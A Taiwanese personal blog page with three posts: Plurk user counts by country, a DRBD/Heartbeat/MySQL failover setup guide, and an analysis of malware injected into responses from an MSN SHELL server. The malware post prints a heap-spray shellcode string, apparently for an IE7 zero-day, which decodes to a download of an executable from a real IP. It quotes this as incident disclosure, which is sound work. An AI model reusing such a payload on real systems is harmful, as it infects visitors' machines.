2009-02-04

從Plurk搜尋頁挖出來的有趣統計資料

這陣子玩Plurk玩的有點兇,
因為Plurk的互動性比Twitter強,又不像MSN之類的IM軟體有時間上的壓力.所以就容易讓人沉迷了~
前幾天Karma剛衝到81拿到太極圖 ,來慶祝一下寫個文當做記錄.
不過關於Plurk的介紹已經有不少熱心人士寫過了,像是 從微網誌到微社群的Plurk 這篇有探討到Plurk的社群人數就是個不錯的切入點,
這就來點不一樣的東西好了.

在Plurk的搜尋其他的 plurker頁面可以依據國家來選擇搜尋plurkers的清單.


而Plurk個人設定中的國家(Country)清單中共有235個選項,
把這235個國家抓出後用個簡單的script把Conutry代入後抓出以這235個國家來搜尋plurkers的結果數字.

當然這資料數字僅供娛樂參考,因為無法得知Plurk是何時統計這些資料的,而且搜尋的字串如果有出現在plurker個人資料的其他地方也會抓出來,經實測部分數字也不準確.
EX: 搜尋阿富汗的女性 顯示出來的結果是13筆,但是翻到第二頁才發現實際上只有11筆資料

所以很多國家/地區分別搜尋男/女出來的數字相加並不等於不分性別搜尋出來的總數.

從這份數字裡面可以看到幾個有趣的現象:

  1. Plurkers數冠軍居然是菲律賓.
  2. 台灣的Plurkers數排名第三(沒去仔細研究,不過推測應該有一些是被拿來灌邀請數衝Karma的無用帳號,像是這頁 圖備份 就很明顯),而且從數字看來女(24077)比男(21901)(真實性有待商榷就是了).
  3. 前十名的國家裡面東/南亞佔了一半
  4. 所有搜出來的235個國家不分性別數加總為 267789 ,如果這是真實的Plurkers的數量的話那就遠低於我的預期.
  5. 前四名菲律賓,美國,台灣,印尼的人數191694佔了總人數26778971.58%
  6. 國家選項中居然有World of Warcraft =_=""

以下就是從PlurkSearch for other plurkers頁面挖出來的一些統計資料,並依據不分性別/年齡出來的結果進行排序,資料蒐集統計的時間為2009-02-04 16:00


排名
不分性別數
Country女性男性
163554 Philippines3896030989
251857 United States2711524709
344916 Taiwan2407721901
431367 Indonesia1606016476
59762 Malaysia61134760
69741 China49885932
75656 Brazil30572758
85250 Great Britain (UK)23502896
94801 Canada25712341
103299 Australia18561609
112419 Russian Federation7471671
122406 Singapore16761173
132209 Spain11311471
141837 Japan941922
151768 France9051093
161749 Italy8961116
171662 India8511337
181359 Germany696888
191270 Hungary650720
201255 Mexico643749
211213 Czech Republic950263
221035 Netherlands530622
23978 Norway501483
24911 Hong Kong560350
25768 Saudi Arabia368400
26748 United Arab Emirates433315
27586 Ecuador300355
28540 Brunei Darussalam433106
29527 Argentina270340
30507 Chile260342
31489 Belgium250327
32480 Ukraine246342
33479 Venezuela245289
34415 Second life284130
35414 Thailand212219
36396 Sweden203235
37336 Turkey172245
38329 Portugal168207
39321 Slovak Republic24081
40320 Romania164214
41305 Poland156162
42291 Greece149168
43272 Ireland139157
44264 Israel135187
45259 Iran133184
46250 Korea (South)143107
47249 Jordan127160
48241 Denmark123147
49241 Pakistan123191
50240 Austria123136
51234 Switzerland120142
52230 New Zealand (Aotearoa)126104
53224 Belarus115141
54224 Viet Nam70154
55223 Egypt114148
56212 Peru109149
57209 Macau121102
58208 Finland106108
59178 Qatar9187
60136 Chad70123
61127 South Africa4681
6292 Jamaica6145
6390 Bulgaria4652
6482 Croatia (Hrvatska)3448
6574 Colombia3846
6665 Christmas Island5114
6759 Georgia3629
6857 Bahrain 2929
6956 Lebanon2932
7055 Estonia2827
7152 Antarctica2725
7250 Bolivia2636
7349 Panama2524
7448 Puerto Rico3215
7548 Tunisia2532
7647 Morocco2437
7746 Latvia2427
7846 Nigeria2431
7946 World of Warcraft2719
8045 Kazakhstan2330
8143 Costa Rica1924
8242 Iceland2520
8340 Lithuania2120
8439 Oman2023
8538 Bangladesh1927
8637 Dominican Republic1918
8737 Ghana1924
8837 Trinidad and Tobago2116
8937 Zimbabwe2118
9034 Guam259
9132 Uruguay922
9230 Cuba1518
9330 Kenya1515
9430 Virgin Islands (U.S.)1812
9529 Iraq1517
9629 Madagascar209
9729 Vatican City State (Holy See)1910
9828 Luxembourg1414
9928 Macedonia1415
10027 Bahamas207
10127 Guatemala423
10227 Serbia1417
10326 Cyprus1513
10426 El Salvador917
10526 Palestine917
10625 Afghanistan1314
10725 Bosnia and Herzegovina1411
10825 Kuwait1315
10925 Moldova1315
11025 Senegal214
11123 Guinea149
11223 Honduras1213
11323 Sri Lanka419
11423 Syria815
11522 Virgin Islands (British)139
11622 Yemen715
11721 Monaco1110
11820 Algeria317
11920 Barbados146
12020 Mali146
12120 Nicaragua812
12220 Paraguay119
12319 Fiji910
12419 Montenegro109
12519 Nepal613
12618 Bermuda513
12718 Greenland153
12815 Cambodia96
12915 Samoa78
13015 Western Sahara69
13114 Armenia59
13214 Maldives95
13313 Ethiopia85
13413 Slovenia85
13512 Cayman Islands57
13612 Cook Islands93
13712 Reunion66
13812 St. Pierre and Miquelon66
13912 Uzbekistan48
14011 Andorra56
14111 Azerbaijan56
14211 Mauritius38
14311 Palau65
14411 Saint Kitts and Nevis83
14511 Togo83
14611 Uganda47
14710 Belize82
14810 Malta73
14910 Seychelles91
15010 Zambia46
1519 Albania36
1529 American Samoa54
1539 Cote d'Ivoire, Republic of54
1549 Dominica63
1559 Haiti45
1569 Korea (North)63
1579 Montserrat81
1589 Myanmar45
1599 Niger63
1609 Tanzania18
1618 Guyana35
1628 Kyrgyzstan35
1638 Liechtenstein44
1648 Papua New Guinea35
1657 Aruba34
1667 Botswana25
1677 Congo25
1687 San Marino25
1697 Turkmenistan61
1707 Wallis and Futuna Islands00
1716 Angola51
1726 Benin51
1736 Cocos (Keeling) Islands42
1746 Laos24
1756 Mongolia42
1766 Niue42
1776 Rwanda33
1786 Somalia24
1796 Tajikistan42
1806 Tuvalu24
1815 Djibouti41
1825 Gibraltar23
1835 Mozambique32
1845 Namibia23
1855 New Caledonia32
1865 Saint Vincent and the Grenadines32
1875 Sao Tome and Principe23
1885 Sierra Leone41
1895 Sudan23
1905 Swaziland32
1915 Tonga32
1924 Antigua and Barbuda22
1934 Burkina Faso22
1944 Cameroon22
1954 French Polynesia31
1964 Libya13
1974 Suriname22
1984 Vanuatu22
1993 Anguilla21
2003 Bhutan03
2013 British Indian Ocean Territory21
2023 Cape Verde21
2033 Congo, The Democratic Republic of the03
2043 French Guiana30
2053 Grenada12
2063 Guadeloupe03
2073 Malawi12
2083 Marshall Islands00
2093 Micronesia21
2103 Norfolk Island12
2113 Northern Mariana Islands21
2123 Saint Lucia30
2133 Svalbard and Jan Mayen Islands21
2142 Falkland Islands (Malvinas)20
2152 French Southern Territories20
2162 Guinea-Bissau20
2172 Kiribati20
2182 Lesotho11
2192 Mauritania11
2202 Mayotte11
2212 Nauru20
2222 Netherlands Antilles11
2231 Burundi10
2241 Comoros10
2251 Eritrea01
2261 Gambia01
2271 Liberia01
2281 St. Helena10
2291 Tokelau01
2300 Central African Republic00
2310 Equatorial Guinea00
2320 Faroe Islands00
2330 Gabon00
2340 Martinique00
2350 Turks and Caicos Islands00
Sum267789
147113135884

2009-01-21

HeartBeat+DRBD+MySQL on Debian Etch 建置/測試筆記

HeartBeat(2.1.3-6)+DRBD(2:8.3.0-1)+MySQL on Debian Etch 建置/測試筆記


一般在處裡網路服務的系統架構時,如何做到高可用性及即時備援機制一直都是一個重要課題,一般常見的架構是USER-WEB-DB,目前面向USER的WEB SERVER要做到LoadBalance/Failover已經有很多可運用且方便的手段,但後端的資料庫如果要做到Failover就稍微麻煩了些,以下就對MySQL資料庫搭配HeartBeat/DRBD的即時備援機制來作一個簡單的建置/測試紀錄.
其中相關設定是經過實測所得,若有不夠完備須修正調整之處還請各位不吝提供意見.

DRBD (Distributed Replicated Block Device) http://www.drbd.org/
是透過網路即時同步的Block Device,可視同為透過網路進行即時同步的Raid-1,架構示意圖如下(來源為DRBD網站)


DRBD搭配HeartBeat可建構高可用性(HA-high availability)的服務
如將MySQL的DATA FILE放到DRBD上,配合HeartBeat控管可作到MySQL高可用性的即時同步與Failover備援切換.
(其實還是會有down time,不過如果跟MySQL replication的Master/Slave模式在一般情況下需人工介入切換相比,可算是方便省事多了)

架構設定說明:



建置/測試環境:
OS: Debian Etch 4.0
/dev/sdb1 4GB for drbd use

NODE-A (Primary)
eth0 192.168.1.11 Real_IP(R_IP)
eth0:0 192.168.1.10 Service_IP(S_IP) 由HeartBeat控管作為主要提供服務的IP
eth1 192.168.100.11 Private_IP (P_IP) 對接供DRBD傳輸用

NODE-B (Secondary)
eth0 192.168.1.12 Real_IP(R_IP)
eth0:0 192.168.1.10 Service_IP(S_IP) 由HeartBeat控管作為主要提供服務的IP
eth1 192.168.100.12 Private_IP (P_IP) 對接供DRBD傳輸用

DRBD編譯/安裝

因為Debian etch內的drbd7太舊了(0.7.21-4), etch-backports上的是drbd8_8.0.14-2,乾脆直接從sid那抓最新(drbd8_8.3.0-1)的source package http://packages.debian.org/source/sid/drbd8回來重編kernel-module.
(懶得自己重編也可以直接到http://www.linbit.com/support/drbd-8.3.0/debian-etch/ 去找出搭配當前kernel版本的deb檔回來直接裝)

建立drbd8 source package重包的工作目錄.
mkdir /usr/src/drbd8_8.3.0-1
cd /usr/src/drbd8_8.3.0-1

把drbd8_8.3.0-1 的source package抓回來
wget http://ftp.de.debian.org/debian/pool/main/d/drbd8/drbd8_8.3.0-1.dsc
wget http://ftp.de.debian.org/debian/pool/main/d/drbd8/drbd8_8.3.0.orig.tar.gz
wget http://ftp.de.debian.org/debian/pool/main/d/drbd8/drbd8_8.3.0-1.diff.gz
安裝重包drbd8所需必要套件
apt-get install debhelper dh-make dpkg-dev debconf-utils gcc sp bison flex dpatch bzip2 libc6-dev docbook-utils module-assistant linux-headers-2.6-686
解開 source package
dpkg-source -x drbd8_8.3.0-1.dsc
進入解開目錄
cd /usr/src/drbd8_8.3.0-1/drbd8-8.3.0/
重新編譯包
dpkg-buildpackage
包完會產生 drbd8-source_8.3.0-1_all.deb & drbd8-utils_8.3.0-1_i386.deb
把這兩個deb裝起來
dpkg -i /usr/src/drbd8_8.3.0-1/drbd8-utils_8.3.0-1_i386.deb /usr/src/drbd8_8.3.0-1/drbd8-source_8.3.0-1_all.deb
產生drbd8 kernel module
module-assistant auto-build drbd8
可以簡化為
m-a a-b drbd8

依照目前kernel版本重編好的drbd8 kernel module 位置 /usr/src/drbd8-2.6.18-6-686_8.3.0-1+2.6.18.dfsg.1-23etch1_i386.deb
把剛編好的drbd8 module裝上
dpkg -i /usr/src/drbd8-2.6.18-6-686_8.3.0-1+2.6.18.dfsg.1-23etch1_i386.deb
(可以在其中一台作重包的動作,做完後再把 drbd8-utils_8.3.0-1_i386.deb & drbd8-2.6.18-6-686_8.3.0-1+2.6.18.dfsg.1-23etch1_i386.deb 丟到另一台安裝即可)

HeartBeat 編譯/安裝

Debian etch內的heartbeat-2 (2.0.7-2) 沒有支援dopd (DRBD outdate-peer daemon),所以也去http://packages.debian.org/source/sid/heartbeat 抓新版的2.1.4-3source package回來重包

建立heartbeat-2 source package重包的工作目錄.
mkdir /usr/src/heartbeat-2.1.3-6
cd /usr/src/heartbeat-2.1.3-6

把heartbeat_2.1.3-6 的source package抓回來
wget http://ftp.de.debian.org/debian/pool/main/h/heartbeat/heartbeat_2.1.3-6.dsc
wget http://ftp.de.debian.org/debian/pool/main/h/heartbeat/heartbeat_2.1.3.orig.tar.gz
wget http://ftp.de.debian.org/debian/pool/main/h/heartbeat/heartbeat_2.1.3-6.diff.gz

安裝重包heartbeat_2所需必要套件
apt-get install libsnmp-dev libglib2.0-dev psmisc libnet1-dev iproute libtool libcurl3-openssl-dev libxml2-dev uuid-dev lynx libbz2-dev zlib1g-dev uuid-dev libsensors-dev libltdl3-dev swig libgnutls-dev python-dev libpam0g-dev libncurses5-dev psmisc libopenhpi-dev python-central gawk libxml2-utils
解開 source package
dpkg-source -x heartbeat_2.1.3-6.dsc
進入解開目錄
cd /usr/src/heartbeat-2.1.3-6/heartbeat-2.1.3
重新編譯打包
dpkg-buildpackage
(視需求可以去改 heartbeat-2.1.3/debian/control ,像我只需要 heartbeat就只留下Package: heartbeat那段,可以省點時間)
包完後只要裝heartbeat_2.1.3-6_i386.deb即可
dpkg -i /usr/src/heartbeat-2.1.3-6/heartbeat_2.1.3-6_i386.deb
(可以在其中一台作重包的動作,做完後再把 heartbeat_2.1.3-6_i386.deb 丟到另一台安裝即可)

MySQL Server安裝

如果沒有特殊需求就直接用 apt-get install mysql-server 安裝
裝完後把開機啟動的MySQL 相關服務取消,以便之後交由HeartBeat控管 (可以裝sysv-rc-conf來處裡比較省事)
mv /etc/rc2.d/S17mysql-ndb-mgm /etc/rc2.d/K23mysql-ndb-mgm
mv /etc/rc2.d/S18mysql-ndb /etc/rc2.d/K22mysql-ndb
mv /etc/rc2.d/S19mysql /etc/rc2.d/K21mysql

DRBD設定

編輯NODE-A & NODE-B上的
/etc/drbd.conf

common {
syncer {
rate 100M;
}
}
resource r0 {
protocol C;
handlers {
pri-on-incon-degr "echo o > /proc/sysrq-trigger ; halt -f";
pri-lost-after-sb "echo o > /proc/sysrq-trigger ; halt -f";
local-io-error "echo o > /proc/sysrq-trigger ; halt -f";
outdate-peer "/usr/lib/heartbeat/drbd-peer-outdater -t 6";
pri-lost "echo pri-lost. Have a look at the log files. | mail -s 'DRBD Alert' root";
split-brain "/usr/lib/drbd/notify-split-brain.sh root";
out-of-sync "/usr/lib/drbd/notify-out-of-sync.sh root";
}
syncer {
verify-alg md5;
}
disk {
on-io-error detach;
fencing resource-only;
}
startup {
wfc-timeout 120;
degr-wfc-timeout 120;
}
on NODE-A {
device /dev/drbd0;
disk /dev/sdb1;
address 192.168.100.11:7788;
meta-disk internal;
}
on NODE-B {
device /dev/drbd0;
disk /dev/sdb1;
address 192.168.100.12:7788;
meta-disk internal;
}
}
因為裡面用到了heartbeat的dopd(DRBD outdate-peer daemon),
所以需要針對幾個drbd管理程式作權限調整
chgrp haclient /sbin/drbdsetup
chmod o-x /sbin/drbdsetup
chmod u+s /sbin/drbdsetup
chgrp haclient /sbin/drbdmeta
chmod o-x /sbin/drbdmeta
chmod u+s /sbin/drbdmeta

初始化 resource r0
分別在NODE-A & NODE-B執行
drbdadm create-md r0


啟動DRBD service
分別在NODE-A & NODE-B執行
/etc/init.d/drbd start


檢視DRBD 狀態



=====由/proc/drbd 看到的狀態,因為尚未初始同步所以是Inconsistent/Inconsistent=====

初始化同步r0,將NODE-A設為primary
NODE-A上以它的資料為基準開始同步
drbdadm -- --overwrite-data-of-peer primary r0
初始同步進行時 NODE-A的狀態


初始同步過程中 NODE-B的 /proc/drbd 資訊


初始同步過程中 NODE-B的eth1資料傳輸統計


NODE-A的syslog中可以看到初始同步完之後的資訊

可以看到4G的資料初始化同步花了97秒,平均同步速率為 43056 K/sec

MySQL設定

分別在NODE-A & NODE-B執行 mkdir /DB 建立 /DB 作為/dev/drbd0的掛載點
此時在Primary NODE-A 上先對 /dev/drbd0 建立filesystem(XFS),並掛載於/DB
NODE-A:
mkfs.xfs /dev/drbd0

mount /dev/drbd0 /DB



NODE-A:
先將MySQL停掉(如果有在執行的話),再把MySQL的資料由 /var/lib/mysql 搬移到 /DB/mysql 上
/etc/init.d/mysql stop
mv /var/lib/mysql /DB
修改 /etc/mysql/my.cnf 中的 datadir= /DB/mysql


Debian 的MySQL-Server 有個比較特別的地方是安裝時會建立一個debian-sys-maint的DB Account並產生隨機密碼以供MySQL啟動檢查/維護用.相關資訊及密碼會記錄於 /etc/mysql/debian.cnf 內,因為配合DRBD有更改預設的datadir,
所以在 /etc/mysql/debian.cnf 內的[mysql_upgrade]設定區段中也必須加上 datadir= /DB/mysql ,

否則在啟動MySQL時在syslog中會出現下面的錯誤
/etc/mysql/debian-start[_PID_]: Can't find data directory. Please restart with --datadir=path-to-writable-data-dir

因為NODE-A & NODE-B的MySQL資料檔案是放在DRBD上面,也就是兩個NODE使用的是同一組資料,包含啟動檢查所需的debian-sys-maint帳號/密碼,
所以必須將NODE-A上面的 /etc/mysql/my.cnf & /etc/mysql/debian.cnf 複製到NODE-B上,
這樣當發生failover切換時NODE-B才能正常啟動MySQL.

HeartBeat設定

這邊使用設定上比較單純的Heartbeat R1 compatible clusters

NODE-A 上產生/etc/ha.d/authkeys
( echo -ne "auth 1\n1 sha1 "; dd if=/dev/urandom bs=512 count=1 | openssl md5 ) > /etc/ha.d/authkeys
chmod 0600 /etc/ha.d/authkeys


NODE-A 剛產出的 /etc/ha.d/authkeys 複製到HOST-B

HOST-A heartbeat主設定檔
/etc/ha.d/ha.cf
autojoin none
ucast eth0 192.168.1.12 #點對點偵測 HOST-B 的IP
ucast eth1 192.168.100.12 #點對點偵測 HOST-B 的IP
ping 192.168.1.254 #其他IP連線偵測,給個夠穩定的IP供偵測網路狀態用
respawn hacluster /usr/lib/heartbeat/ipfail
respawn hacluster /usr/lib/heartbeat/dopd
apiauth dopd gid=haclient uid=hacluster
udpport 694
warntime 5 #偵測到節點異常後的等待警告時間
deadtime 15 #偵測到節點異常後的等待切換時間
initdead 60 #初始啟動等待60秒
keepalive 2 #每兩秒偵測一次
node NODE-A
node NODE-B
auto_failback off #當Default Primary(NODE-A)掛掉再恢復之後不自動取回Primary的身分,以避免頻繁切換影響服務

HOST-B
heartbeat主設定檔
/etc/ha.d/ha.cf
autojoin none
ucast eth0 192.168.1.11 #點對點偵測 HOST-A 的IP
ucast eth1 192.168.100.11 #點對點偵測 HOST-A 的IP
ping 192.168.1.254 #其他IP連線偵測,給個夠穩定的IP供偵測網路狀態用
respawn hacluster /usr/lib/heartbeat/ipfail
respawn hacluster /usr/lib/heartbeat/dopd
apiauth dopd gid=haclient uid=hacluster
udpport 694
warntime 5
deadtime 15
initdead 60
keepalive 2
node NODE-A
node NODE-B
auto_failback off

NODE-A
& NODE-B heartbeat資源設定檔
/etc/ha.d/haresources

NODE-A  \
192.168.1.10/24 \
drbddisk::r0 \
Filesystem::/dev/drbd0::/DB::xfs::noatime \
mysql
裡面指定NODE-A為Default Primary,綁定IP為192.168.1.10,使用DRBD resource r0 , 將/dev/drbd0 掛載於 /DB ,指定為xfs,使用noatime參數,最後啟動mysql

HeartBeat failover測試

正常情況

NODE-A為Primary ,DRBD resource r0在NODE-A上為Primary, /dev/drbd0 掛載於 /DB ,MySQL在NODE-A上運作,eth0:0 綁定 192.168.1.10 以提供服務 ,
此時WEB或是其他APP對 192.168.1.10 進行MySQL的資料連線,由NODE-A進行處裡.
NODE-A & NODE-B的heartbeat相互偵測,同時也對額外的PingNode 192.168.1.254進行偵測, NODE-B待命, DRBD resource r0在NODE-B上是屬於Secondary,NODE-A的 /dev/drbd0資料異動會及時寫到NODE-B上

網路發生異常時

NODE-A的網路出現異常(網線中斷或網卡故障)時, NODE-A 在偵測到此狀況後會先將MySQL停止,卸載 /DB 目錄,將DRBD resource r0 /dev/drbd0設為 Secondary.
而後NODE-B 接手將DRBD resource r0 設為Primary, /dev/drbd0 掛載於 /DB , 再將MySQL 啟動, eth0:0 綁定 192.168.1.10 以提供服務 ,
FailOver過程中WEB或是其他APP對DB IP:192.168.1.10的連線會中斷,但當FailOver動作完成之後重連便由NODE-B進行處裡.

主節點死掉時

NODE-B偵測到主節點(NODE-A)死掉的時候,會主動將DRBD resource r0 設為Primary, /dev/drbd0 掛載於 /DB , 再將MySQL 啟動, eth0:0 綁定 192.168.1.10 以提供服務

MySQL with DRBD效能測試

使用MySQL附帶的 sql-bench (/usr/share/mysql/sql-bench) 中的 test-create & test-insert來分別針對 MySQL DATAFILE在一般磁碟分區與DRBD上進行測試比較.以下擷取幾個比較明顯的測試數據,主要差距發生寫入動作上,select讀取並沒有太大差異 .
N代表MySQL DATAFILE放在一般硬碟分區上,D代表MySQL DATAFILE放在DRBD上,檔案系統使用XFS,DB格式為MyISAM
test-create
N Time for create_MANY_tables (10000): 27 wallclock secs ( 0.11 usr 0.09 sys + 0.00 cusr 0.00 csys = 0.20 CPU)
D Time for create_MANY_tables (10000): 67 wallclock secs ( 0.31 usr 0.18 sys + 0.00 cusr 0.00 csys = 0.49 CPU)
N Time for drop_table_when_MANY_tables (10000): 7 wallclock secs ( 0.13 usr 0.48 sys + 0.00 cusr 0.00 csys = 0.61 CPU)
D Time for drop_table_when_MANY_tables (10000): 35 wallclock secs ( 0.19 usr 0.75 sys + 0.00 cusr 0.00 csys = 0.94 CPU)
N Time for create+drop (10000): 22 wallclock secs ( 0.20 usr 0.23 sys + 0.00 cusr 0.00 csys = 0.43 CPU)
D Time for create+drop (10000): 57 wallclock secs ( 0.83 usr 1.29 sys + 0.00 cusr 0.00 csys = 2.12 CPU)
N Time for create_key+drop (10000): 25 wallclock secs ( 0.26 usr 1.05 sys + 0.00 cusr 0.00 csys = 1.31 CPU)
D Time for create_key+drop (10000): 48 wallclock secs ( 0.43 usr 0.55 sys + 0.00 cusr 0.00 csys = 0.98 CPU)
N Total time: 84 wallclock secs ( 0.84 usr 2.11 sys + 0.00 cusr 0.00 csys = 2.95 CPU)
D Total time: 210 wallclock secs ( 1.86 usr 3.10 sys + 0.00 cusr 0.00 csys = 4.96 CPU)
test-insert
N Time for insert (300000): 34 wallclock secs ( 1.35 usr 9.09 sys + 0.00 cusr 0.00 csys = 10.44 CPU)
D Time for insert (300000): 39 wallclock secs ( 2.46 usr 26.74 sys + 0.00 cusr 0.00 csys = 29.20 CPU)
N Time for insert_duplicates (100000): 9 wallclock secs ( 0.42 usr 3.08 sys + 0.00 cusr 0.00 csys = 3.50 CPU)
D Time for insert_duplicates (100000): 12 wallclock secs ( 1.29 usr 2.22 sys + 0.00 cusr 0.00 csys = 3.51 CPU)
N Total time: 610 wallclock secs (85.82 usr 184.06 sys + 0.00 cusr 0.00 csys = 269.88 CPU)
D Total time: 623 wallclock secs (111.64 usr 116.01 sys + 0.00 cusr 0.00 csys = 227.65 CPU)

由上面比較可以看出在進行 test-create 做大量的create table動作時,因為MyISAM每個table都有三個實體檔案(.frm .MYI .MYD)的特性,所造成大量的建檔動作對DRBD的負擔較重,效能下降的幅度高達 250%.
而在進行test-insert時只是單一table進行資料寫入,效能下降幅度較輕微(寫入動作效能約降1/4~1/5).
一般情況下MySQL並不會有大量的create table動作,所以搭配DRBD原則上是在資料異動寫入時耗損約1/4~1/5的效能,所以進行評估時就看在即時備援的考量之下是否可接受這個效能降低的代價了.

參考資料
The DRBD User's Guide : Chapter 8. Integrating DRBD with Heartbeat clusters: http://www.drbd.org/users-guide/ch-heartbeat.html
MySQL 5.0 Reference Manual :: 14.2 Using Linux HA Heartbeat: http://dev.mysql.com/doc/refman/5.0/en/ha-heartbeat.html

相關資源
MySQL: http://www.mysql.com
Linux-HA: http://linux-ha.org/
DRBD: http://www.drbd.org/
Heartbeat: http://linux-ha.org/Heartbeat

2008-12-24

MSN SHELL 所在SERVER遭ARP掛馬??

2009-03-13 update.
這篇員外 Security: 網站轉址攻擊-ARP掛馬 點出了我在2009-03-11時一個判斷上的盲點,如果是要在網路節點中途攔截,若非使用arp spoofing,除非直接打入router,或是作port mirror過去才行,不然理論上是沒法聽到unicast的tcp封包..(這年頭應該不會有人還在用hub吧,何況是IDC..)
另外附上2008-12-24用wireshark錄到的封包樣本 http://www.swm.idv.tw/20081224_cap.zip 有興趣或是手上有2009-03大規模轉址封包樣本的朋友可以抓回去分析比對看看.

2009-03-12 update.
接到網友專家的來信討論,的確我也感覺之前下的結論過於武斷,由行為模式來看是像機房或是骨幹遭到ARP spoofing,但實際封包模式又不太類似,當然也可能是另一種實作的方式.
不過這些都只是我們由外部現況及有限的證據進行猜測,並沒法接觸到問題的真正核心點.
真相到底是如何?我想除非有核心人士出來爆料..否則很快就會被時間給淹沒了..

2009-03-11 update.
經過目前找到的ARP掛馬工具實測ARP 掛馬的作業模式觀察 之後來觀察ARP掛馬的封包特徵,發現ARP掛馬並不會在gateway之外出現兩個封包,而是直接攔截修改封包插入html資訊,所以此次所發現的異常封包似乎不像目前已知的ARP掛馬,由相關封包特徵來看應該比較接近
大規模網頁綁架轉址:威脅未解除,但專家都猜錯了 這篇的分析結果"IP spoofing"
這種攻擊方式應該屬於網路節點中途攔截並搶先送出假造封包.2008年底發生的這個事件跟2009年三月的大規模轉址非常類似,只是2008年底發生時並沒有引起太大的重視罷了。

*2009-03-09 updat.近日大規模網頁綁架模式似乎與此案例有些類似*

*2008-12-29 update. 下載木馬遭更新*

MSN SHELL是很多人會喜歡用的MSN外掛,因為它提供了訊息加密的功能.不過在今天發現了除了有MSN ACCOUNT洩漏的問題外,更嚴重的還是MSN SHELL所在的蒐集資料SERVER可能遭到ARP掛馬(ARP欺騙劫持掛木馬).所造成的影響恐怕非常巨大..

今天(2008-12-24) 電腦一開機登入MSN後小紅傘就報警
'HTML/Infected.WebPage.Gen [virus]'

看起來是IE的CACHE中有中標的可能,不過因為我沒用IE當BROWSER很久了(都用FireFox),
所以就去查了下IE的CACHE目錄,
發現到報警的gol.htm 如下圖



從這裡可以看到gol.htm 是從 http://shell09.msnshell.com/ 過來的,
而且這個request還會把MSN版本,MSNSHELL版本,語系,及使用的MSN ACCOUNT傳回到 shell09.msnshell.com 這台SERVER上去


在IE CACHE中gol.htm的內容是


在最前面被插了個 長寬都是0的 iframe,連到

http:// 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / i n d e x 3 . h t m (URL用空格處裡了,以免被誤按)
抓下這個 index3.htm來看

明顯就是個掛馬的檔案,我這邊還沒時間去分析它的內容.
看起來像是針對前兩天MS才公佈的IE7漏洞修正.

另外這個IFRAME中連結的60.248.23.20是 台灣的IP,

再來分析為什麼 shell09.msnshell.com (222.73.57.115)會被掛木馬,而且時有時無.

從封包來看
request gol.htm 後回來的第一個封包就被插了iframe


但是http header中的server information是Tiny Httpd.
而接下來的才是正常封包

http header中的server information是 Apache/2.2.4 (Unix)
這才是 shell09.msnshell.com (222.73.57.115)的http server吐出來的封包.

另外再測試 直接 request shell09.msnshell.com (222.73.57.115) 網站根目錄的情況,



也是一樣,先來個TinyHttpd吐出的 iframe然後才是Apache2回應的403

所以推測 MSN SHELL負責收集訊息的 shell09.msnshell.com (222.73.57.115) 這台伺服器所在的機房網段應該是有其他機器中了ARP掛木馬病毒,才會硬插吐iframe出來 ??


有用MSN SHELL的朋友請提高警覺,同時立即進行WINDOWS &病毒碼的UPDAET.否則稍一疏忽就有中標的可能.


後記
1. 60.248.23.20 這台機器是一間台灣公司 "上麥資訊"的機器.
不知道是自己放的木馬還是被當成僵屍?

2. index3.htm 確定是利用前幾天的IE7 0Day漏洞攻擊, 看來現在類似這種的掛馬方式都是出來一份以後大家抄來抄去改來改去的. XD
而其中的
spray(a1+"9090"+"%u8b55%u81ec%ub4c4%ufffe%u60ff%u05eb%u458f%uebe8%ue845%ufff6%uffff%u7468%u7074%u2f3a%u362f%u2e30%u3432%u2e38%u3332%u322e%u2f30%u6174
%u6978%u412f%u7463%u7669%u5865%u652e%u6578%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%ud233
%u30b2%u8b64%u8502%u78c0%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u4589%u83fc%u3cc0%u008b%u4503%u83fc%u78c0%u008b
%u4503%u8bfc%u2070%u7503%ue9fc%u0134%u0000%u458f%uc7d8%uf845%u0000%u0000%u7d8b%ufcd8%u28eb%u5756%ub950%uffff%uffff%uc032%uaef2%ud1f7%u4d89%u58f4
%ue85f%u0176%u0000%u758d%u03b8%uf875%u1689%u035e%uf47d%u4583%u04f8%u3f80%u7500%u47d3%u8d57%ub8b5%ufffe%u56ff%uff68%u0000%uff00%uc055%u45c7%u73d8
%u6264%uc72e%udc45%u7865%u0065%u45c7%u00e0%u0000%uc700%ue445%u0000%u0000%u758d%u56d8%ubd8d%ufeb8%uffff%uff57%uc855%u45c7%u75d8%u6c72%uc76d%udc45
%u6e6f%u642e%u45c7%u6ce0%u006c%uc700%ue445%u0000%u0000%u758d%u56d8%u558b%u8dbc%uec7d%u00be%u8860%ub97c%u0006%u0000%ua4f3%u32e8%u0001%u8900
%ufc45%u758d%ubfec%u6000%u7c88%u06b9%u0000%uf300%u5fa4%uff57%ufc75%u7d8d%u64ec%u04a1%u0000%u8900%u6407%u08a1%u0000%u8900%u0447%uc764%u0405
%u0000%u0000%u8860%u647c%u05c7%u0008%u0000%u6000%u7c88%u55ff%u89b8%ub485%ufffe%u8dff%uec75%u068b%ua364%u0004%u0000%u468b%u6404%u08a3%u0000
%u6a00%u6a00%u8d00%ub8bd%ufffe%u57ff%u75ff%u6ae8%uff00%ub495%ufffe%u6aff%u8d00%ub8b5%ufffe%u56ff%u55ff%u6acc%uff00%ud055%uc7e8%ufffe%u47ff%u7465%u7250
%u636f%u6441%u7264%u7365%u0073%u6f4c%u6461%u694c%u7262%u7261%u4179%u4700%u7465%u6554%u706d%u6150%u6874%u0041%u736c%u7274%u656c%u416e%u6c00
%u7473%u6372%u7461%u0041%u6957%u456e%u6578%u0063%u7845%u7469%u7250%u636f%u7365%u0073%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54%u6946%u656c
%u0041%u56eb%u508b%u5718%u5251%u8b56%u0336%ufc75%uf3fc%u5ea6%u595a%u745f%u8306%u04c6%u754a%u8be8%u1848%uca2b%ue1d1%u508b%u0324%ufc55%ud103
%uc933%u8b66%ud10a%ud1e1%u8be1%u1c50%u5503%u03fc%u8bd1%u0312%ufc55%uff5b%u58e3%u00b9%u8860%u517c%u01c6%u8968%u0141%u41c6%uc305%ue2ff");這一長串,解開後可以在裡面發現藏了下載的URL ,

h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e (為避免意外發生,一樣在每個字元中間加了個空格)
